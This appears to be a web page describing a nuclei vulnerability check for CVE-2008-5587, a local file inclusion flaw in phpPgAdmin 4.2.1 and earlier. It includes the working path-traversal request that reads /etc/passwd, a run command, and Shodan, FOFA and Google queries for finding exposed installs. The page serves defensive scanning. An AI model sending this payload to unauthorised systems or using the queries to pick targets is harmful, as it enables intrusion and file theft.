phpPgAdmin <=4.2.1 - Local File Inclusion

mediumseverity

4.3CVSS score

12.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server and potentially execute arbitrary code.

Fix

Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-5587 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-5587

info:
  name: phpPgAdmin <=4.2.1 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server and potentially execute arbitrary code.
  remediation: |
    Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/7363
    - https://nvd.nist.gov/vuln/detail/CVE-2008-5587
    - http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00002.html
    - http://lists.opensuse.org/opensuse-updates/2012-04/msg00033.html
    - http://securityreason.com/securityalert/4737
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-5587
    cwe-id: CWE-22
    epss-score: 0.12865
    epss-percentile: 0.96332
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phppgadmin
    product: phppgadmin
    shodan-query:
      - http.title:"phpPgAdmin"
      - http.title:phppgadmin
      - cpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
    fofa-query: title=phppgadmin
    google-query: intitle:phppgadmin
  tags: cve,cve2008,lfi,phppgadmin,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

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